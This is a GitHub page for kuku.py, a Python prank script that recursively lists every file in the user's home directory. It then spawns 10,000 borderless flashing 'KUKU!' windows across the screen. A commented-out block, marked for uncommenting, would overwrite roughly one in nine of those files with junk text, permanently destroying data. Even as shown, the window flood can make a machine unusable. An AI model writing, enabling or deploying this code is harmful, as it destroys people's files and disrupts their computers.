-
Notifications
You must be signed in to change notification settings - Fork 1
/
kuku.py
105 lines (85 loc) · 2.4 KB
/
kuku.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import os
import random
import time
import tkinter as tk
def maybe_overwrite_file(path):
# UNCOMMENT to overwrite files
# if random.randint(0, 8) == 0:
# with open(path, "w") as f:
# f.write("KUKU! " * random.randint(1, 1000))
pass
def get_all_files(path):
files = []
for file in os.listdir(path):
try:
file_path = os.path.join(path, file)
if os.path.isfile(file_path):
files.append(file_path)
else:
files += get_all_files(file_path)
except Exception:
continue
return files
def ms_dos_color():
ms_dos_colors = [
"#000000",
"#0000AA",
"#00AA00",
"#00AAAA",
"#AA0000",
"#AA00AA",
"#AA5500",
"#AAAAAA",
"#555555",
"#5555FF",
"#55FF55",
"#55FFFF",
"#FF5555",
"#FF55FF",
"#FFFF55",
"#FFFFFF",
]
return random.choice(ms_dos_colors)
class Wnd:
def __init__(self):
w = tk.Tk()
w.title("")
w.overrideredirect(True)
window_bg_color = ms_dos_color()
w.configure(bg=window_bg_color)
text_color = ms_dos_color()
while text_color == window_bg_color:
text_color = ms_dos_color()
label = tk.Label(
w, font=("VT323", 19), text="KUKU!", bg=window_bg_color, fg=text_color
)
# https://fonts.google.com/specimen/VT323
label.pack(padx=20, pady=20)
screen_width = w.winfo_screenwidth()
screen_height = w.winfo_screenheight()
window_width = 100
window_height = 55
x = random.randint(0, screen_width - window_width)
y = random.randint(0, screen_height - window_height)
w.geometry(f"{window_width}x{window_height}+{x}+{y}")
self._window = w
def flash_wnd(self):
w = self._window
w.update()
w.update_idletasks()
w.after(5, w.withdraw)
time.sleep(0.1)
w.update()
w.update_idletasks()
w.after(5, w.deiconify)
def main():
curr_path = os.path.expanduser("~")
for path in get_all_files(curr_path):
maybe_overwrite_file(path)
windows = []
for _ in range(10000):
windows.append(Wnd())
for _ in range(6):
windows[random.randint(0, len(windows) - 1)].flash_wnd()
if __name__ == "__main__":
main()